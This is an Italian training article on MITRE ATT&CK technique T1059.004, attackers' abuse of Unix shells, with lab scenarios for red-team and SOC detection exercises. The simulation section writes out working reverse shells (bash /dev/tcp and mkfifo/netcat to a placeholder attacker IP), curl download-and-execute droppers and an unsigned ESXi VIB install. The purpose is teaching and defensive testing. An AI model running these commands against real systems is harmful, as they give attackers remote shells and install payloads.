Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Arile! Scopri di più
La shell Unix è il cuore pulsante di qualsiasi sistema Linux, macOS ed ESXi: un interprete di comandi che offre controllo totale sulla macchina, dalla gestione dei processi alla manipolazione del filesystem, fino alla configurazione di rete. La tecnica T1059.004 descrive l'abuso di questa capacità nativa da parte degli avversari, che sfruttano varianti come bash, sh, zsh e la shell integrata in BusyBox per eseguire codice malevolo. Rientra nella tattica Execution (TA0002), la fase della kill chain in cui l'attaccante trasforma l'accesso ottenuto in esecuzione concreta di payload.
Il perimetro è vastissimo: 10 gruppi APT, 45 famiglie di malware, 5 campagne documentate e una mitigazione ufficiale. La shell viene usata per tutto — dal download di miner di criptovalute all'installazione di backdoor su router compromessi, passando per reverse shell cifrate e script di persistenza su hypervisor VMware. La pericolosità risiede nella legittimità intrinseca dello strumento: ogni sistema Unix ha una shell, ogni amministratore la usa quotidianamente, e distinguere un comando legittimo da uno malevolo richiede contesto comportamentale, non semplice signature matching.
Il target non si limita ai server tradizionali. Dispositivi embedded, router SOHO a fine vita, appliance di rete Juniper e F5, e persino hypervisor ESXi rappresentano superfici d'attacco dove la shell — spesso una versione minimale via BusyBox — diventa il vettore di esecuzione primario.
Per simulare questa tecnica in laboratorio servono scenari che riproducano i pattern reali osservati in campagna. L'obiettivo non è semplicemente aprire una shell, ma concatenare azioni che un SOC dovrebbe intercettare: download, esecuzione, persistenza e comunicazione C2.
Il primo scenario classico è la reverse shell. In un ambiente controllato, sull'host attaccante si mette in ascolto Netcat (open source) con:
nc -lvnp 4444
Sul target Linux si genera la connessione inversa con:
bash -i >& /dev/tcp/<IP-ATTACCANTE>/4444 0>&1
Questo pattern replica il comportamento documentato per malware come BPFDoor, SnappyTCP e Chaos, che creano reverse shell su porte specifiche. Per varianti più evasive, si può usare la tecnica del pipe tramite mkfifo, che evita la sintassi /dev/tcp non disponibile su tutte le distribuzioni:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <IP-ATTACCANTE> 4444 > /tmp/f
Il secondo scenario riguarda l'esecuzione tramite script dropper, coerente con quanto osservato nella campagna KV Botnet Activity (C0035) dove script bash gestivano le fasi di installazione del botnet. Si crea uno script che simula il download e l'esecuzione in catena:
curl -fsL <URL-PAYLOAD-LAB> -o /tmp/.cache_update && chmod +x /tmp/.cache_update && /tmp/.cache_update
Per il contesto ESXi, si può simulare l'installazione di VIB malevoli come documentato per UNC3886, usando la sintassi legittima dell'hypervisor in un lab isolato:
esxcli software vib install -v /tmp/payload.vib --no-sig-check
Il flag --no-sig-check è il segnale d'allarme che la mitigazione execInstalledOnly è progettata per bloccare.
Su macOS, il pattern di Contagious Interview si replica con un bash downloader minimale che scarica ed esegue un secondo stadio, sfruttando la capacità nativa di curl e bash:
sh -c "curl -s <URL-STAGE2-LAB> | bash"
Per l'automazione completa in esercizi red team, Sliver (open source) e Mythic (open source) offrono agent nativi per Linux e macOS con generazione automatica di reverse shell bash. Caldera (open source) permette di orchestrare catene di comandi shell mappate direttamente sulle tecniche ATT&CK, facilitando la validazione dei controlli SOC.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo